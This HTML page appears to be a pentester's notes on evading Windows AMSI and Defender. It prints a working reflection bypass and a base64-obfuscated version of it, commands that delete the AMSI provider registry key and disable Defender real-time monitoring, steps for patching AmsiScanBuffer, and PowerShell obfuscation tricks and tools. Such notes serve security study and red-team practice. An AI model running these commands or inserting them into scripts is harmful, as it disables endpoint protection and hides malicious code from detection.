<h3 id="reflection-bypass">Reflection Bypass</h3>
<ul>
<li>Varying string concatenation and camelCasing variations of the following string by Matt Graeber</li>
<li><a href="https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/">Matt Graeber's Reflection</a></li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="o">[</span>Ref<span class="o">]</span>.Assembly.GetType<span class="o">(</span><span class="s1">&#39;System.Management.Automation.AmsiUtils&#39;</span><span class="o">)</span>.GetField<span class="o">(</span><span class="s1">&#39;amsiInitFailed&#39;</span>,<span class="s1">&#39;NonPublic,Static&#39;</span><span class="o">)</span>.SetValue<span class="o">(</span><span class="nv">$null</span>,<span class="nv">$true</span><span class="o">)</span>
</code></pre></div>
<p>or an obfuscated version</p>
<div class="codehilite"><pre><span></span><code><span class="o">[</span>Ref<span class="o">]</span>.Assembly.GetType<span class="o">(</span><span class="s1">&#39;System.Management.Automation.&#39;</span>+<span class="k">$(</span><span class="o">[</span>Text.Encoding<span class="o">]</span>::Unicode.GetString<span class="o">([</span>Convert<span class="o">]</span>::FromBase64String<span class="o">(</span><span class="s1">&#39;QQBtAHMAaQBVAHQAaQBsAHMA&#39;</span><span class="k">)</span><span class="o">)))</span>.GetField<span class="o">(</span><span class="k">$(</span><span class="o">[</span>Text.Encoding<span class="o">]</span>::Unicode.GetString<span class="o">([</span>Convert<span class="o">]</span>::FromBase64String<span class="o">(</span><span class="s1">&#39;YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA==&#39;</span><span class="k">)</span><span class="o">))</span>,<span class="s1">&#39;NonPublic,Static&#39;</span><span class="o">)</span>.SetValue<span class="o">(</span><span class="nv">$null</span>,<span class="nv">$true</span><span class="o">)</span>
Remove-Item -Path <span class="s2">&quot;HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}&quot;</span> -Recurse
Set-MpPreference -DisableRealtimeMonitoring <span class="nv">$true</span>
</code></pre></div>
<h3 id="amsi-scanbuffer-patch">AMSI ScanBuffer patch</h3>
<ul>
<li>Patching <code>amsi.dll</code>, which is loaded at Powershell startup</li>
<li>
<p>AMSI ScanBuffer is delivered to <code>amsi.dll</code></p>
</li>
<li>
<p>Get handle of <code>amsi.dll</code></p>
</li>
<li>Get process address of AmsiScanBuffer</li>
<li>Modify mem protection of AmsiScanBuffer</li>
<li>
<p>Write opcode to AMSIScanBuffer</p>
</li>
<li>
<p><a href="https://github.com/BC-SECURITY/Empire/blob/master/lib/common/bypasses.py">BC-Security's AMSI bypass</a></p>
</li>
<li><a href="https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs">RastaMouse's AMSI bypass</a></li>
</ul>
<h3 id="other-bypasses-and-tools">Other Bypasses and Tools</h3>
<ul>
<li>
<p><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.git">S3cur3Th1sSh1t</a></p>
</li>
<li>
<p><a href="http://amsi.fail/">amsifail</a> generates obfuscated snippets</p>
</li>
</ul>
<h3 id="validate">Validate</h3>
<ul>
<li><a href="https://github.com/RythmStick/AMSITrigger">AMSITrigger</a> identifies strings which trigger the AMSI functions</li>
<li>Validate Obfuscation and check which strings trigger AMSI</li>
<li><a href="https://github.com/RythmStick/AMSITrigger">AMSITrigger Repo</a></li>
</ul>
<div class="codehilite"><pre><span></span><code>.<span class="se">\\</span>AMSITrigger.exe -u &lt;URL&gt; -f <span class="m">1</span>
</code></pre></div>
<p>or</p>
<div class="codehilite"><pre><span></span><code>.<span class="se">\\</span>AMSITrigger.exe -i &lt;file&gt; -f <span class="m">1</span>
</code></pre></div>
<h3 id="further-obfuscation">Further Obfuscation</h3>
<ul>
<li>String concatenation</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="nv">$OBF</span> <span class="o">=</span> <span class="s1">&#39;Ob&#39;</span> + <span class="s1">&#39;fu&#39;</span> + <span class="s1">&#39;s&#39;</span> +<span class="s1">&#39;cation&#39;</span>
</code></pre></div>
<ul>
<li><code>Concatenate - ('co'+'ffe'+'e')</code></li>
<li><code>Reorder - ('{1}{0}'-f'ffee','co')</code></li>
<li><code>Whitespace - ( 'co' +'fee' + 'e')</code></li>
</ul>
<h4 id="type-obfuscation">Type Obfuscation</h4>
<ul>
<li>.NET has type accelerators as aliases for types to shorten them and break the signature.</li>
<li><a href="https://community.idera.com/database-tools/powershell/powertips/b/tips/posts/adding-new-type-accelerators-in-powershell">idera</a></li>
<li><a href="https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html">0x00-0x00</a></li>
<li>
<p><a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_type_accelerators?view=powershell-7.1">Documentation at microsoft</a></p>
</li>
<li>
<p>Example</p>
<ul>
<li>Without</li>
</ul>
</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="o">[</span>system.runtime.interopservices.marshal<span class="o">]</span>::copy<span class="o">(</span><span class="nv">$buf</span>, <span class="m">0</span>, <span class="nv">$BufferAddress</span>, <span class="m">6</span><span class="o">)</span><span class="p">;</span>
</code></pre></div>
<div class="codehilite"><pre><span></span><code>* With
</code></pre></div>
<div class="codehilite"><pre><span></span><code><span class="o">[</span>dorkstork<span class="o">]</span>::copy<span class="o">(</span><span class="nv">$buf</span>, <span class="m">0</span>, <span class="nv">$BufferAddress</span>, <span class="m">6</span><span class="o">)</span><span class="p">;</span>
</code></pre></div>
<h3 id="automated-obfuscation">Automated Obfuscation</h3>
<h4 id="powershell">Powershell</h4>
<ul>
<li><a href="https://github.com/danielbohannon/Invoke-Obfuscation">Invoke-Obfuscation</a></li>
<li><a href="https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide">Daniel's guide to Invoke-Obfuscation</a></li>
</ul>
<div class="codehilite"><pre><span></span><code>Invoke-Obfuscation -ScriptBlock <span class="o">{</span><span class="s1">&#39;Payload Here&#39;</span><span class="o">}</span> -Command <span class="s1">&#39;Token\\String\\1,2,\\Whitespace\\1&#39;</span> -Quiet -NoExit
</code></pre></div>
<ul>
<li><a href="https://docs.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/command-line-string-limitation"><strong>8191 character limit</strong></a> of command prompt must not be exceeded.</li>
</ul>
<h4 id="other-obfuscation">Other Obfuscation</h4>
<ul>
<li>Pinpoint bytes that will be flagged with <a href="https://github.com/rasta-mouse/ThreatCheck">ThreadCheck</a><ul>
<li>Has to be build via VS. Will output a ddll, an excutable and an XML file.</li>
<li><code>ThreatCheck.exe -f &lt;file&gt;</code></li>
</ul>
</li>
<li><a href="https://github.com/matterpreter/DefenderCheck">DefenderCheck</a></li>
</ul>
<h2 id="links">Links</h2>
<ul>
<li><a href="https://cmnatic.co.uk/">cmnatic</a></li>
<li><a href="https://resources.cmnatic.co.uk/Presentations/Dissertation/">cmnatic's diss</a></li>
<li><a href="https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/">s3cur3th1ssh1t</a></li>
<li><a href="https://amsi.fail/">amsi.fail</a></li>
</ul>
</span>
</div>
</div>
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